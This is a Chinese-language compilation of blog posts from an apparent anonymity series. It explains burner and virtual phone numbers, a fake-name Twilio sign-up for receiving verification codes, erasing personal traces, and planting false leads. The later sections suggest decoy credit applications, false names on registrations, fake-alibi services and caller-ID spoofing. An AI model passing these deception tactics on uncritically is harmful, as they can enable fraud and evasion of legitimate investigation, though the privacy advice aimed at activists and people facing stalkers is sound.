否则，追踪者可以通过两种方式找到你的身份：

- 一种方法是在电话网络中寻找可以关联号码的行为模式。

电信公司出于各种原因监控其网络中各种号码的行为。

当您在同一部手机上切换到增强隐私的SIM卡时，他们可以知道您的SIM卡在同一位置离线后立即又上线了新的卡（反之亦然）。

随着这种模式的重复，电信公司可以通过查找在此新号码上线之前脱机的号码，来识别新的未知SIM。

这对电信公司来说并不难，因为他们一直在这么做。

- 另一种方法是跟踪手机的IMEI号码。

每部手机都配有IMEI号码。此号码可视为您手机的序列号。电信公司可以使用手机 IMEI 号码关联该手机上使用的所有SIM卡。

所有智能手机都有唯一标识符，应用程序开发人员可以使用此ID作为锚点来跟踪您的假名和真实身份之间的联系。

这可能是一个问题，取决于您使用新身份的应用程序以及您使用它们的方式/原因。

缓解措施：

- 最好的方法是用现金购买一部新手机
- 或者干净的二手手机
- 在此手机上完全使用假身份，与真实身份完全无关

如果您无法获得“隐私增强型SIM卡”，则可以使用虚拟号码。

必须提示：使用虚拟号码并不理想，因为很难完全剥离您的个人信息。

以下是一些虚拟号码服务。

如果您使用虚拟号码来设置 Twilio，⚠请谨慎选择，因为其中一些可能无法使用。

- Google 语音应用：如果您居住在美国，voice.google.com可能就是比较方便的选择。可以在您的手机上发送和接收电话/短信。

请注意该帐户已连接到Google帐户。⚠谷歌知道你是谁。而且他们会毫不犹豫地与政府间谍合作。这里是一些血淋淋的教训《他们是如何抓捕说真话的人？》

- Burner：这是智能手机应用程序，Burner是另一种手机号码。

该应用程序可以拨打/接听电话和发送短信。使用美国或加拿大号码。

- CoverMe：像 Burner 一样工作，但声称保护您的消息，因此 CoverMe 的工作人员无法阅读它们。

除虚拟号码外，该应用还包括一些其他工具和功能。

- Hushed：像 Burner 一样工作，但提供国际号码和电话。

并非所有号码都提供相同的功能。大多数都有短信和语音通话作为选项。

- Skype in/Skype out：提供国际号码和电话。高品质的音频。

请注意，⚠微软一直在窃听所有人。见《内部文件：微软承包商一直在监听Skype电话》；并且微软是最主动与当权者合作的公司之一，见《互联网霸主的时间线》。

具体介绍见我们曾经的另一份指南：《4款最佳一次性手机号码应用：适用 Android & iPhone》。

总之，您的个人威胁模型很重要 —— 因为那些寡头公司大多数时候只受政府间谍的指使，所以，⚠如果您的对手是政府，那么最好避免使用任何寡头公司的服务；如果您的对手是前女友/前老板/债主……那就不大一样了。

🔍在这里看到如何构建准确的个人威胁模型《了解自己的状况是保护安全的第一步》。

第2步：获取与您的真实身份分离的电子邮件地址

创建新的在线角色的另一个重要步骤是拥有一个*不会追溯到您本人*的电子邮件地址 —— 一个“隐私增强型的电子邮件地址”。

无论你采用哪条路径来建立新的私人帐户，都会需要它。大多数服务的注册都需要电子邮件和短信验证证明。

重要准备：使用安全的 **VPN**

以下步骤涉及访问网页。⚠强烈建议您使用Tor浏览器等隐私增强型浏览器访问这些网站。

如果您因为各种原因无法使用Tor，建议使用 Brave 浏览器，或者在’私密浏览’模式下使用 Firefox，并安装 Privacy Badger 和 Https Everywhere 扩展程序。不要使用Chrome！

更多详见《侦查和反侦查工具：带来更多安全和便捷的10大浏览器扩展》

还建议您使用未按名字或付款方式关联到您的身份的虚拟专用网络（VPN）。

在这里看到《如何验证VPN的安全性》；《Opsec 操作安全：在反侦察的过程中您应该注意哪些陷阱？》

⚠请注意您应该通过现金、难以追踪的加密货币、Visa礼品卡等渠道购买，而非信用卡或者*任何*在线支付渠道。

现，在您可以继续在安全的电子邮件平台上创建电子邮件地址。比如 tutanota.de 或者 protonmail.com。

第3步：设置 **Twilio** 号码以创建无法追踪的在线帐户

使用从步骤1获得的电话号码、以及从步骤2获得的电子邮件地址，您就可以使用 Twilio 创建任意数量的虚拟号码。

它是开发人员的技术工具，允许应用程序发送/接收大量文本。

与SIM卡和其他虚拟号码相比，Twilio 号码便宜且维护成本低。

您可以使用与您无关的信用卡或使用现金购买的 visa/master 礼品卡购买帐户。

由于 Twilio 技术性稍强，本指南将概述如何创建帐户以及如何使用它来接收验证文本。

在 **twilio.com** 上创建一个帐户

进入 twilio.com 并点击“注册”，您将看到注册页面。

⚠请记住，填写表格时不要提供任何个人身份信息。

您可以使用假名，以及步骤2中的隐私增强电子邮件地址。

顺便回顾一个简单易用的在线生成假身份工具《少数派玩家》。

点击“开始免费试用”按钮后，它会要求您通过电子邮件验证您的帐户。

「图」

由于 Twilio 提供免费试用而没有信用卡注册，因此他们使用电话号码作为验证帐户和限制注册的另一种方式。

在这里，您可以使用从步骤1获得的电话号码。

验证了电子邮件和电话号码之后，您就会进入下面这样的屏幕。现在点击‘SKIP TO DASHBOARD’。

登录 **Twilio.com**

此时，您将被要求使用您用于注册的电子邮件地址和密码登录 Twilio。

「图」

在 **Twilio.com** 上创建您的试用版号码

登录时，您应该能看到“获取试用号码”按钮，单击该按钮。

您可以继续“选择此号码”。（如果要搜索可用的试用号以找到您喜欢

的号码，您还可以点击“搜索其他号码”）。

请记住，某些国家/地区在电话号码方面有严格的验证法规。出于本指南的目的，建议您选择美国号码（＋1国家/地区代码）。

获得 Twilio 号码后，您可以使用它来接收您正在设置的服务的SMS验证码。

本指南使用的例子是创建一个 Telegram 帐户。

成功后您就可以运行一个相对安全的 telegram 频道了。

⚠请务必记下您的 Twilio 号码，用户名和密码。建议您将它们存储在密码管理器中。

还建议您在此 Twilio 帐户上设置2FA（双因素身份验证）可以创建另一份指南《如何不暴露手机号、不花钱，实现双因素身份验证？》；并且建议按照 Twilio 的指示使用 Authy 应用程序。

开始创建应用程序账户

Twilio 将向您发送一条消息，祝贺您成功创建了电话号码。您现在可以在应用程序上使用它了。

将试用版号码升级为付费帐户

对于接下来的步骤，您需要首先将 Twilio 帐户从试用版升级到付费帐户。

你可以创建一个最低20美元的账户。付款方式始终是信用卡。如果您想保持匿名，建议您使用现金购买的礼品卡。

这在某些地方比其他地方更容易。比如在美国，大多数药店（Walgreens，CVS等）和便利店（711，Family Dollar等）都提供礼品卡。

现在就可以开始使用您的 Twilio 号码和隐私增强电子邮件来创建无法透露您真实身份的在线帐户了！

使用 **Twilio** 号码启动 **Telegram** 帐户

在 Telegram（或其他应用程序或网站）进行设置。

在手机上安装应用程序（您可以返回步骤1获取有关手机设备的详细提示）。

这里只是案例；相同的步骤适用于 Signal，Whatsapp 等。

Telegram 会要求您输入您的号码以接收验证码。输入您的 Twilio 号码。

检查 Twilio 以获取验证码。

您需要知道在 Twilio 中如何找到要输入的验证码。

登录您的 Twilio 帐户。

「图」

单击位于中心的三个点的cirlce（…）这将带您进入“所有产品和服务”选项。*All Products and Services (…)*

需要访问 API EXPLORER，它允许您查看流入或流出 Twilio 帐户的数据，而无需编写任何代码。*API EXPLORER allows you to see the data flowing in or out of your TWILIO account.*

在 API EXPLORER 中，单击“Programmable Voice”下拉菜单，将其更改为“PROGRAMMABLE SMS”。*PROGRAMMABLE SMS is the screen that shows all things related to text messages.*

现在您正在查看与 PROGRAMMABLE SMS 有关的所有API端点。

单击 MESSAGES 以显示与 MESSAGES 有关的所有API端点的列表。

执行此操作时，您应该看到 POST，DELETE，GET 操作的列表。创建消息，删除消息，查看消息，查看消息列表，修改消息等。

点击“View a Message”，这样您就可以打开并看到验证码。

在红色按钮“Make a Request”上方是一个名为消息SID的下拉列表。

您收到的 Twilio 号码的每条短信都应该有一个SID，以从新到旧的顺序列出。

应该有一个’Hello From Twilio’SID。一旦您想要的SID显示在此框中，请单击红色按钮。

默认情况下，数据的格式是人类可读的。可以清楚地看到一条消息。RESPONSE 的第一行是：

“body”: “Telegram code: 48560\n\nYou can also tap on this link to log in:\nhttps://t.me/login/48560\n\noLeq9AcOZkT”,

好啦，验证码是 48560；现在只需将其输入 telegram 应用程序即可！

最后再次提醒，**telegram** 并不是被推荐的通信工具，而且其频道功能不加密。这里只是一个创建假身份的演示，您可以使用相同的步骤创建对您来说足够安全的应用程序账户。〇

—— 未完待续 ——

原文

如何做到完美隐身：清扫和清点-信息篡改的重要步骤（5） - iyouport

完美隐身（完成）完美隐身（完成）的副本

【2019年12月11日存档】任何人都应该了解这些知识 —— 如果您真的明白信息的昂贵价值，会格外重视它们。

提醒每一位阅读本系列文章的读者：⚠并不是说您不准备隐身、或者根本不关心隐私问题就可以当游戏来理解这些内容的；肯定不是。要知道每年都会有大批无辜的人身份被盗用，被用来做各种恶心的事让你来埋单。如果你平日知道如何保护自己，那种事就不会发生在你身上。

在第3部分内容中我们列出了隐身思考方式的三步策略：信息篡改、信息杜撰、信息重组；并讲述了第一部分内容的概念。

本文会进入上述第二步的准备工作。

这里是“完美隐身”系列的第5部分。如果您还没有读过前面的部分，在这里看到：

- 《如何做到完美隐身：直面你的对手—6大原则（1）》
- 《如何做到完美隐身：追踪者的手段和你的弱点（2）》
- 《如何做到完美隐身：思考方式是战略性的（3）》
- 《如何做到完美隐身：技术增值部分—最简单的分身方法（4）》

您需要在这个过程中尽可能保持冷静 —— 很多尝试隐身的人由于紧迫的情况而处于慌乱之中，也因此很多平日里熟知的技巧都想不起来了。这是极大的悲剧。

不管做任何事，心理素质都是需要强调的硬项；⚠恶意行为者（包括追踪者）最擅长挑战目标人的心理自助能力，以刺激其慌乱，从而导致其疏忽、并自动做出愚蠢的决策。

抵制方案就是加强自己的冷静。情绪管理 ，这在平时需要一些练习。

在信息篡改之前，你必须认真思考信息可能隐藏的每一个地方 —— 这就是我们在《大清洗》中强调过的思路；当然，大清洗是针对数字世界的技巧和工具，但对于现实中的隐身来说，思路是一样的。

你需要仔细寻找，把自己想像成追踪者，对自己的一切进行侦查。列出一个清单，然后逐一处理。

乍看下似乎是一个庞大的工作，但是这里面也可以有技巧，以逻辑简化工作量。于是本文首先将涉及的内容就是引导您检视自己在现实中的痕迹。

重点先关于以下这些部分 —— 这是大多数人最容易留下痕迹的部分。

1、钱包和口袋

拿出你的钱包看一下里面装了哪些卡。

每一张卡（任何卡）上有大量的个人信息，而且信息量叹为观止。

除了基本的联系方式信息和交易记录之外，部分卡上可能还有奖励计划。

如果你有常旅客里程数、优惠出租车服务、或者连锁酒店积分等等，可以想像，一旦追踪者找到这些无疑是找到了一座金矿；尤其是当你用里程数换了机票飞往了新生活时…… 你可能就没有新生活了。

此外，你有百货店的奖励卡吗？常客卡呢？这些商店是否有你的真实姓名和联系方式？

如果你的身上还有一部智能手机或iPod，苹果/安卓账户会揭示多少关于你的个人信息？你是否还有其他在线商店的账户？订餐？网购？网约车？共享自行车？……

一切都是导火索，都需要清除和篡改。最好是从平日就注意这些细节。

2、钥匙链或者其他免费小商品

继续思考。药店掌握多少关于你的信息？杂货店呢？健身房呢？或者

公交卡？你是否因为被动加入过某个公司的群发邮件列表？或者因为参加过其他促销活动而获得了一个免费的钥匙链或者其他很垃圾的小商品？

继续问自己：谁有备用钥匙？你是否曾经把钥匙交给生命中任何一个重要的人、朋友、或者保洁阿姨？

如果已经与此人断绝了关系，你是否要回了钥匙？你能保证此人没有私下另配一把新的钥匙吗？

立即换锁才是完美选择。我们不会建议您对亲密关系也保持怀疑，但是要知道，人是会变的（这也是人类最大的神秘魅力之一），并且你不可能预测到变化的准确时间。于是，留一手会有好处。

3、客厅

到客厅去看看。如果你有电视、音响、空调、以及其他设备，那么一定会有保修单。

保修单上都印了哪些内容？生产商手里是否有你的现住址和手机号码？

如果某些电器是别人送的，那么生产商手里掌握的究竟是送你东西的人的信息，还是你的信息？

无论是哪种情况，保修单对于追踪者来说都是巨大的优势；哪怕找不到你本人的联系方式，也会能找到至少一位你的老朋友或家人的联系方式，于是就可以通过社交工程战术从他们那里套出关于你的信息。

继续。沙发、长椅、柜子等等这些家具，是否都有保修单？如果追踪者冒充你的身份找到了那些商家，他们能从商家那里套出哪些信息？

所有这一切东西都是如何支付费用的？是信用卡还是通过商店的账户？

任何一个聪明的追踪者只要嗅到你的任何一丝气息，就一定会努力利用它。

他们会找到当初你购物时的家具店、地毯店或者是品牌经销处；他会与这些商店联系，谎称他是你，就说单人沙发或者任何一件你买过的东西的保修单找不到了。⚠不出5分钟，他就会能拿到地址和电话号码。

而且这种利用保修单和签帐卡的社交工程方法甚至可以实现跨国追踪。

4、卫生间

卫生间可能是个危险的地方。个人药箱里充斥着大量私人信息；药品标签说明你的健康状况，甚至还会列出给你看病的医生和药房的名字。

药房有你的医疗保险记录，而医疗保险公司会把你的所有开药情况详细记录下来。

尤其是，如果你是一个政客或公众人物，你肯定不想让任何人知道你在使用赞诺安或百忧解（镇静剂和抗抑郁药物），伟哥呢，也一样吧？

但是想要加害你的人会想方设法查出这些信息。它们可以非常致命。

对那些想要借用你的洗手间的人保持警惕。最好是不要把上述物品放在触手可及的地方。

5、车库

车库一样是追踪者的天堂。

人们会放置很多机器和工具在车库里，还有早已被遗忘的垃圾中，都能找到关于你的线索。

不论是割草机、电动钻头还是什么工具，上面一般都会有序列号，而且序列号是贴在保修单和购物单上的。

保修单又附在购物单之后，上面一般会有你的姓名、地址、电话号码，以及你所提供的一切信息。满满的，都是情报。

移除所有这些东西上的序列号，在扔掉和卖掉这些东西之前。

大多数人在整理“垃圾”的时候只是想着“我还用得到/我不会用得到”的问题，而不是：“追踪者能用它们来做些什么”。

⚠这种思考方式肯定不是被支持的，它很危险。尤其是当你正在准备逃难的情况下。

我们会建议您在日常整理垃圾的过程中也能保持*安全的思考方式* —— 多想想自己扔掉或卖掉的东西对于恶意行为者来说意味着什么。

不要简单地把废旧物品塞进垃圾袋，最可靠的方法是，烧掉它们。

6、卧室

人人都知道不雅视频是什么，所以卧室必须是私密空间。

平日就不要在卧室里放置任何带有摄像头和麦克风的设备，比如手机、电脑、家用摄像头、所谓的智能某某某等，如果习惯于在床上看手机/电脑，用黑胶布贴住摄像头。

⚠任何可以用来威胁和勒索你的东西，都是你最大的弱点。

7、厨房

和客厅一样，厨房里也会有一大堆保修单之类的东西：冰箱、微波炉、洗碗机、炉灶……甚至食品也存在能指向你的线索。

食物是从哪买的？你是否参与过团购、聚划算之类的活动？几乎所有商店都有“认同卡”，只要扫一扫就可以享受当周的优惠价格 —— 这些商店把你的地址和电话都存档了，有些甚至还会有你的支票账户信息。

当然，他们都知道你买了什么、在哪买的、什么时候买的…… 你为什么要把这些真实的信息提供给那些人？

你喜欢美食吗？订阅过美食杂志吗？是否在特色美食公司邮购过食品？聪明的追踪者就会利用这些信息找到你的下落。

⚠如果追踪你的人知道你喜欢吃什么 —— 你在社交网络上晒的美食照片中哪种食品的出镜率最高 —— 追踪者就可以瞄准提供此种食品的所有公司，一一给这些公司打电话，声称他就是你“这个老客户”，要求订购，并声称送货地址已变更。

很简单就能套出你被登记过的旧地址甚至私密联系方式。

⚠我可以肯定的说，绝大多数人并不会以为自己在社交媒体上晒美食这件事有多大的危险性，当然，很多时候它不危险，但是，如果有人暗中针对你，这些美食就是你的枷锁。

还记得上篇文章中麦当娜的粉丝如何被抓到的吗？—— 没错，你的任何偏好、兴趣、口味、心理特征，都是追踪者的盛宴。

最好平日就注意这点：不要让任何人尤其是不怎么可靠的人了解你。尤其是不要把真实的自己放在互联网那种地方上。

8、书房

电子设备、以及放置电子设备的地方，对于追踪者来说很容易形成突破口。

你的IP地址以及硬盘上没能清理干净的信息，会告诉侵入者或骇客能找到你或者盗用那你的身份所需要的一切。

如果追踪者通过上述任何一种方法找到了你的旧址，闯入了你的房子，他们就可以拿到你的电子设备，以及你家里未受保护的无线网络传输信息，用不了多久就能找到你的下落 —— 你要去什么地方、到了那里之后计划做什么。

这就是对电子设备定期《大清洗》的重要性。

（公共场所的不安全无线网络连接反而难以追踪。因为在任何一个时间点，都会有至少数十人同时在使用这一网络；要确定某个具体的使用者是极为困难的，除非追踪者确切知道目标的IP地址。）

Tails是个好办法。斯诺登就是用这个方法帮助自己抢夺时间的：

⚠请记得我们分析过的追踪教训！见《他们是如何抓捕说真话的人？⚠灾难和教训》这篇文章非常重要。

不仅是电脑手机，打印机和扫描仪一样很危险。

您知道打印机的用户识别号码是什么东西吗？这个号码会告诉人们这张纸是从哪一台打印机上输出来的。制造商对此几乎没有做过任何宣传，但这个东西就是追踪的重要线索。

此外大多数人会把账单和文件放在书房的电脑旁。在你准备隐身前肯定会想到把这些东西扔进碎纸机，但是，千万别把碎片直接扔进垃圾桶，因为很多碎纸机都太粗糙了，想要找到你的人会有的是时间把它们重新拼凑起来。

在这里看到追踪者最常瞄准地方和使用的方法（包括垃圾桶）《信息

收集：决胜的根基》。

所以，烧掉那些碎片，或者把它们扔进下水道。

此外水电公司是最大的危机，它们的安全级别很低，于是更危险。如果你依旧决定住在原地，需要想到一些可行的方法将关于你的信息篡改为难以被追踪者识别。

这是下一步工作。

最后

以上针对的是大多数人的习惯。梳理它们的目的主要是强调一种思考方式 —— 如果您有比较个人化的收纳习惯，您应该能使用同样的思考方式，针对自己的习惯进行筛查。

完成这一切后你就可以继续下一步了。

如果你想要知道自己是否彻底完成了清扫追踪线索的工作，你可以自己聘请一位私家侦探来追踪你。以此检验你的隐身质量。这就像是网络安全措施中的渗透测试。

但是不要使用任何在线支付的方法和任何银行卡支付，用现金；最好能选一个离你比较远的私人侦探。

把名字给他们，附加一些基本的信息，比如旧地址、电话号码等，看他们能挖出多少东西。那些人是只认识钱的，他们一般不关心是谁在聘请他们以及什么目的。

一旦他们挖出任何蛛丝马迹，你应该立即补上漏洞。到此才能称为一切就绪。

下面应该开始第二步工作了：信息杜撰。

重复强调这句话：⚠人们之所以会陷入无法扭转的危机，是因为一个广泛的心理弱点 —— 总是认为最糟糕的事不会发生在自己身上。这是大脑的防御机制；但它也非常危险。

没有人能预测危机，所以聪明的人应该知道如何在平日里保护自己。就像你会下意识地离家前锁门、将干燥的纸张远离火源那样。〇

—— 未完待续 ——

原文

如何做到完美隐身：令人兴奋的心理过招（6）- iyouport

完美隐身（完成）完美隐身（完成）的副本

【2019年12月12日存档】进入刺激的部分啦。

狡猾并不总是个贬义词。尤其是当它用在正确的战略性意义上时。

本文将进入隐身思考方式的第下一步策略：信息杜撰。它能把你的聪明才智发挥到极致。

这里是“完美隐身”系列的第5部分。如果您还没有读过前面的部分，在这里看到：

- 《如何做到完美隐身：直面你的对手—6大原则（1）》
- 《如何做到完美隐身：追踪者的手段和你的弱点（2）》
- 《如何做到完美隐身：思考方式是战略性的（3）》
- 《如何做到完美隐身：技术增值部分—最简单的分身方法（4）》
- 《如何做到完美隐身：清扫和清点-信息篡改的重要步骤（5）》

到目前为止您已经完成了第1步，即 信息篡改；你已经梳理了所有外在信息，并做到了掩人耳目（您可以在上述链接中重新回顾那些方法）。

现在，你要做的就是设置一系列虚假的线索，去误导追踪你的人，使其寻找你的过程困难重重。就像《最危险的猎物》中 Resford 的做法。

此时您应该有两大目标：

> 扰乱追踪者的视线，让他们在错误的地方瞎忙；尽可能将您的个人资料变得极为复杂、极难获得，并且在展开解谜的过程中，让追踪者不断遭受挫折

人们在打点行李准备上路之时，一个最常见的、生死攸关的错误就是 —— 压根没想到应该让追踪者忙起来。

如果只留下了一条线索，哪怕您费尽心机极力掩饰，也同样会让追踪者有机可乘。他们可以彻底调查这一线索。

别便宜了他们。

追踪者将是你见过的最富有行动力和想象力的人；只要线索正确，他们肯定会能挖出你。

所以，你要做的就是，让线索不正确。

这就是为什么杜撰消息非常重要 —— 追踪者如果掌握了主动权，他们毫无疑问会玩死你；而如果你能抢占主动权，你就可以玩死他们。

你需要3个要素：鱼钩、鱼线、鱼饵。

1、鱼钩

鱼钩就是你故意布下的一条线索 —— 它是假的，其目的在于让追踪者发现。

它不仅要逼真，而且要能够让追踪者在发现时兴奋不已。

还记得《La casa de papel》中“教授”如何布局培训楼的情节吗？—— 遍地都是行动计划路线图、指纹、以及各种追踪线索，并且，让警方在费尽心机的情况下才发现了这一“宝藏”。

然而一切都是假象，只为了绊住警方的脚，一切都是有意布下的局，只为了拖延时间让行动者顺利脱身。这就是鱼钩。

（顺便说这部剧真的值得观看，尤其是，它其中使用的社交工程和心理战战术，非常标准；那些方法IYP的专栏中都介绍过）

在信息篡改中，鱼钩可以是，比如，故意地申请房贷、故意租房、或者办理信用卡，以此误导你的追踪者对你的征信状况进行调查。

你可以做任何事 —— 请注意，最好能事先推测到你的追踪者最容易上什么当（或者说他们习惯于从哪里开始展开调查），然后就你可以事先在这些路径上挖坑了。

比如，你明知道追踪者会监听你的电话，那就用这部电话给他们放烟雾弹 —— 这一做法也在《La casa de papel》中有充分呈现，一群行动者将警方植入Rio身体的监听器变成了操纵警方的便捷武器。

还是那句话，知己知彼，很重要。你和你的对手谁先摸清了对方的思维方式，谁就能取得胜利。和下棋的道理一样。

2、鱼线

你留下的假线索越多、越乱，你的对手就会越多眩晕，他们越是专注，死得就越快。

每一条线索上都让它布满疑点，疑点是最好的引擎，追踪者会格外好奇每一个无法解开的谜。他们会想要知道答案，他们就会去研究、去实地考证，这就会消耗他们大笔的金钱和精力。

更快速地接近枯竭。

不要让他们轻易得到这些线索。

没有人会重视那些自己能够轻易得到的东西，就如你所知道的那样，这也体现在追踪者身上 —— 你需要做的就如下棋，在3步之外等着他。看着他踏遍所有你布置好的泥坑。

就算你得罪的人是政府情报机构也一样。除非你是重大通缉犯，否则政府不会有无穷无尽的预算等着被消耗。

时间是这场游戏中最值钱的东西。

3、鱼饵

当权者都喜欢全面掌控，肯定会第一时间追查银行卡和在线支付的使用；那么就在这里下鱼饵给他们。

比如申请一张借记卡，然后交给那种满世界飞的出差狂人；然后，追踪者就会发现“你”正在全世界飞奔。

这就是鱼饵的思考方式：让它看起来有线索，其实千头万绪，就算是专业侦查团队也需要花费几年的时间才能理清头绪。

追踪者会想尽一切方法获取你的电话通话记录，然后他们就会发现银行的电话号码，就会知道你的钱走向了哪里。

此时他们就很可能冒充你本人，给那些银行打电话，以骗取更多的信息 —— 接下来他们就会发现一个活跃的账户。

他们就会感觉到“大功告成”的喜悦 —— 但事实是，他们再一次被套牢了。

看着追踪者的晕头转向，你可以充分体验自己的杰作。

⚠创造力非常重要。

不论你准备加入的是哪一种斗争，创造力都是你最强大的武器。

接下来介绍一些您可能用得到的武器。肯定不完整，但它们会比较顺手。

1、储值卡

去附近的便利店或沃尔玛挑一张储值卡。

请用储值卡、礼品卡、现金购买任何东西，必须停止使用信用卡和在线支付。因为要提取信用卡记录实在是太容易了。

礼品卡最大的优点就在于，完全不会有记录。

2、预付费手机和电话卡

如果有任何人认识你本人并同时知道你的手机号，这张手机卡你就不能再使用了。

- 《4款最佳一次性手机号码应用：适用 Android & iPhone》

您的旧手机也该彻底丢弃，它是你最大的致命弱点之一。但是千万不要简单地扔掉，最好能把它砸成碎片，并扔进多个不同的公共垃圾箱里。

更多具体做法见《如何做到完美隐身：技术增值部分—最简单的分身方法（4）》

这是最基本的。手机号很危险，就算追踪者对技术一窍不通，使用简单的社交工程伎俩就能突破电话公司（《如果只知道一个电话号码，你能挖出多少有效信息？》）

在这点上千万别偷懒。用现金购买预付费手机，尽可能不要泄露任何个人信息。如果卖家必须请你注册，就假装写错名字，或者写得潦草一点。充值时用现金。

这会比普通的手机和座机更安全一些，但并非万无一失；如果你提供的是不准确的名字，他们就很难追踪到你。

此外其余的一切都是可以追踪的，比如你拨出的电话以及拨打电话的大致区域。如果追踪你的是当局，做到这点就会更容易。

所以，万无一失的方法是，不使用任何通信设备。

如果必须使用，请仔细阅读使用者指南，了解如何设置呼叫转移。重要通话结束后彻底毁掉这部手机。

在本机上删除通话记录很容易，但仅仅是从你的手机上删除了，电话公司仍保存了这些记录，追踪者仍然可以找到这些记录。这就是为什么必须打电话时，你应该勤换手机。这非常重要。

讲一个真实的案例。一个叫马修的人假装在一条河里溺水淹死了，然后逃到了邻国。他使用的策略就很聪明。

他把自己的黑莓手机扔在了加油站，怀疑他还活着的追踪者查看了他的手机记录，通过这些记录，追踪者找到的其实是街上一个流浪汉。

如果这是一部注册在你名下的手机，这个方法是无效的。

3、虚拟电话号码

如果你不方便购买预付费手机，不含实际位置的虚拟电话号码也是个好办法。我们已经介绍过一些，见《技术增值部分—最简单的分身方法（4）》以及文中的多个链接。

操作安全很重要！不论您使用任何安全技术都是如此。

JConnect.com 也是个好办法，不仅可以发送语音邮件，还可以在 efax.com 上接收传真。这些号码都很好用，你可以线上组建，非常迅速，你能够买到世界各地的号码。

想让追踪者认为你在巴黎吗？购买一个归属地为巴黎的电话号码，通过巧妙的方式泄漏给追踪者，就可以了。

4、包裹投递点

如果你不想被人知道你的住处和去向，你就需要一个匿名的投递点来接受邮包。

事实上你需要的投递点远不止一个。

思考方式就如多个预付费手机一样，最好的方法是，创建一个含有多个投递点的复杂系统。

这样一来，盯上你的追踪者即便获得了你的记录，也解不开其中的谜团。

不要开设邮政信箱。任何一个国家的邮政总局都是最容易获取信息的地方，追查你的下落非常容易。

你甚至可以在储值卡中留点钱，找一个热闹的超市、一辆公交车或者其他人多的地方，假装丢落。捡到这张卡的陌生人会在别的地方使用它，这就自动形成了一个新的假线索。

不过请注意，记得要擦掉卡上的指纹。

在填写任何申请表的时候，潦草的字迹也会有帮助，比如把1写得像7，把4写得像9，以及包含错别字，就算是你布下的诱饵，这样的处理方式也能让追踪者揪头发。

5、电脑、电子邮件和邮箱地址

如果有能力的话建议买一台新电脑。但是继续使用旧电脑和家庭网络来完成一些无关安全的事。这样一来，任何发现你的IP地址或侵入你的电脑的人都会认为他已经找到了你。

用家庭网络随机查看一下外国的目的地和公寓楼，这些都是制造假线索的好办法，把追踪者引入歧途。他们只有挖到最底部才能发现是死胡同，这就为你争取到了很多时间。

买来的新电脑千万不要连接家庭网络。如果你不熟悉Tor或者担心操作失误，那就开车去离家很远很远的地方，找一个公共无线网络。哪怕你只是想看一眼晒猫咪的照片，也要这样做。

关键在于，你不能让任何人把你的名字和这个IP地址联系起来。

如果你不得不使用网吧处理一些琐事，注意网吧里面的摄像头，要确保它们不会拍到你的脸。千万不要在网吧里打印任何东西，因为公共打印机会记录下你打印的任何内容和时间。

很多人在使用了公共网络后遭到抢劫或账户被盗，那是因为有恶意行为者早就在那台电脑上安装了凭据捕捉软件。一定要小心。

你最好能使用异国的电子邮箱，比如你在中国，使用法国的邮箱；并且邮箱名字不要与你发生任何关系，比如你是众所周知的摩托车迷，你就不能使用诸如“哈雷15”这样的名字。

总之，竭尽全力不要暴露任何关于自己的线索，要让任何人看到这个邮箱时也想不到是你。

不用担心有人会通过不安全的无线网络获取你的信用卡和身份证号，因为你绝对不会在网上公布任何一点点个人身份信息。

本系列更多提供给非技术人士使用，但是我们非常希望您对技术有一点了解，这样你会能做到更好。在IYP的 “技术防身” 以及“给行动者的护身符和武器” 两个栏目中找到更多安防知识。

如果你想买书学习，那就花现金买，千万不要使用任何在线支付渠道。

6、其他工具

除了上面这些之外你还需要些什么？这取决于你想在哪里生活、做什么、如何谋生。

下面这些东西都能有所帮助（并非所有国家都能顺利找到这些东西，选择在你的国家相对可行的类似方法即可。这里的重点是思路而不是工具）：

-来电身份伪装卡/APP：它可以改变你的号码在对方手机上的显示方式。

-开脱服务：类似 alibinetwork 那种，同类的还有很多。可提供由旅行社、酒店、研讨会和“雇主”提供的假的不在场证明。约会进展不顺利时他们还可以提供假的“救援电话”。

-保守型语音信箱服务：允许你登陆和发送语音邮件，该邮件直接进入对方的邮箱，并没有电话提醒。

-一次性电邮地址：曾经介绍过，见《角色扮演》、以及《伪装＋擦除》

-自由手机：没有身份信息、没有任何官僚主义的麻烦、支持比特币购买。但是小贵（当然 Purism 也一样），您需要权衡是钱重要还是命重要。在这里看到更多介绍：ptshamrock.com/auto/freedomphone.htm

7、记住紧跟时代

科技每时每刻都在进步，政策也在变化；所以你必须紧跟这一进度，在出现新的跟踪监视技术/手段和安检政策时及时考虑添加新的策略。

但要知道，最新的技术不会很快投入使用，更不会很快变得高效；人力监视在近几年内都将作为技术监视的必需搭配。

于是，把重点发在搞定人心上（社交工程）比不断遭受新技术惊吓，要实际得多。

⚠尤其是，监视是一个持续不断的过程；随着时间的推移它对你的危险程度会不断加深 —— 因为它了解你更多了。

⚠所以，不要指望在短时间内迅速实现全面隐藏自己。您应该在平日里就多加防备，使用我们提供的自我保护方法，熟悉这些安防技巧，这样才能在需要的时候快速实现一步到位。

这就像攒钱的道理 —— 就算您现在什么都没打算买，也应该节俭以保证有足够的积蓄，这样才能应对不时之需。〇

—— 未完待续 ——

原文

如何做到完美隐身：扫荡危险区域（7） - iyouport

完美隐身（完成）完美隐身（完成）的副本

【2019年12月18日存档】残留物的致命性有可能很高。被您遗忘的任何残留，对于追踪者来说都是珍贵的大礼包 —— 别便宜他们 ……

清洁和保持卫生，是每一个不想要被追踪、不想要被身份盗用和欺诈的人必需熟练使用的技能。

身份盗用和欺诈的风险比您想象中要大得多。

⚠不论是在互联网上还是在现实中，一旦有其他人知道你的出生日期、你的地址、你的电话号码等等个人详细信息，就会导致你陷入严重的脆弱。

至少你应该能做到不要让那些身份欺诈者很容易操作 —— 不论你是不是想要实现完美隐身。

这里是“完美隐身”系列的第7部分。如果您还没有读过前面的部分，在这里看到：

- 《如何做到完美隐身：直面你的对手—6大原则（1）》
- 《如何做到完美隐身：追踪者的手段和你的弱点（2）》
- 《如何做到完美隐身：思考方式是战略性的（3）》
- 《如何做到完美隐身：技术增值部分—最简单的分身方法（4）》
- 《如何做到完美隐身：清扫和清点-信息篡改的重要步骤（5）》
- 《如何做到完美隐身：令人兴奋的心理过招（6）》

您正在使用强大且唯一的密码、您已经学会了识别网络钓鱼电子邮件的基本方法、并且您已经为每个、帐户设置了双因素身份验证。基本上，您正在处理个人网络安全101阶段。

但是，随着追踪者的深入新的威胁不断涌现，您可能正在寻找其他可以保护自己的步骤。

这里介绍的是一个简单的防御方法：清理您的数字垃圾。

数字时代的人们很容易建立一大堆几乎未使用过的帐户，注册后很快就遗忘了。然而，这些帐户非常危险。你必须打扫干净。

